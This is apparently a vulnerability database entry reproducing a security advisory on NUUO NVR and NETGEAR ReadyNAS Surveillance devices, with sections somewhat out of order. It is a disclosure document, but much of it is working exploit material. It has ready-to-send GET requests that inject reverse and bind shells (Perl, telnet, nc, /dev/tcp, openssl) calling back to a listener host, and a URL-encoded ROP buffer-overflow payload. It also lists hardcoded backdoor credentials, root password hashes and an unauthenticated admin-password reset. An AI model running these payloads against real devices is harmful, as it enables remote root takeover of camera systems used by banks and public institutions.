sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. >> Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. >> References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>
VAR-201608-0087 CVE-2016-5674 NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities CVSS V2: 10.0
CVSS V3: 9.8
Severity: CRITICAL
__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 and NVRsolo are network video recorders. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience." >> Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user. Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. >> Technical details: #1 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below): function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); } <?php if (isset($_GET['log']) && !empty($_GET['log'])) { $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']); print_file($file_fullpath_name); } else { die("unknown command."); } ?> The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user. - NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. #2 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']); $find_str = "time server"; $sys_msg = system($cmd); $pos = strpos($sys_msg, $find_str); The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user). - NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root. - Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root. #3 Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. #4 Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /__nvr_status___.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit #5 Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command); > For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in ?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. > A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 > On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSS